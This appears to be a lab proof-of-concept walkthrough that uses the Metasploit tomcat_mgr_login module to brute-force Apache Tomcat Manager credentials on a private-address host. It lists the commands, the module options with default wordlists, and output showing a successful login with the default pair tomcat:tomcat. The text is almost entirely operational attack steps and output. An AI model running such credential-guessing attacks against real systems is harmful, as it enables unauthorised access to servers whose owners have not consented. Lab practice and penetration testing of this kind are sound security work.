Proof of concept:

1) Open metasploit and run the command:

search tomcat_mgr_login

```
msf6 > search tomcat_mgr_login

Matching Modules
================

   #  Name                                       Disclosure Date  Rank    Check  Description
   -  ----                                       ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/tomcat_mgr_login    .                normal  No     Tomcat Application Manager Login Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/tomcat_mgr_login
```

2) select the module:

use 0

```
msf6 > use 0
msf6 auxiliary(scanner/http/tomcat_mgr_login) >
```

3) Set RHOST and RPORT

set rhosts 192.168.159.131

Set rport 8180

```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting                                        Required  Description
   ----              ---------------                                        --------  -----------
   ANONYMOUS_LOGIN   false                                                  yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false                                                  no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                      yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                  no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                  no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                  no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                                   no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                                                 no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomca   no        File containing passwords, one per line
                     t_mgr_default_pass.txt
   Proxies                                                                  no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS            192.168.159.131                                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploi
                                                                                      t.html
   RPORT             8180                                                   yes       The target port (TCP)
   SSL               false                                                  no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                                  yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html                                          yes       URI for Manager login. Default is /manager/html
   THREADS           1                                                      yes       The number of concurrent threads (max one per host)
   USERNAME                                                                 no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomca   no        File containing users and passwords separated by space, one pair per line
                     t_mgr_default_userpass.txt
   USER_AS_PASS      false                                                  no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomca   no        File containing users, one per line
                     t_mgr_default_users.txt
   VERBOSE           true                                                   yes       Whether to print output for all attempts
   VHOST                                                                    no        HTTP server virtual host
```

4) Exploit it

run

```
[-] 192.168.159.131:8180 - LOGIN FAILED: root:ADMIN (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: root:xampp (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.159.131:8180 - Login Successful: tomcat:tomcat
[-] 192.168.159.131:8180 - LOGIN FAILED: both:admin (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: both:manager (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: both:role1 (Incorrect)
[-] 192.168.159.131:8180 - LOGIN FAILED: both:root (Incorrect)
```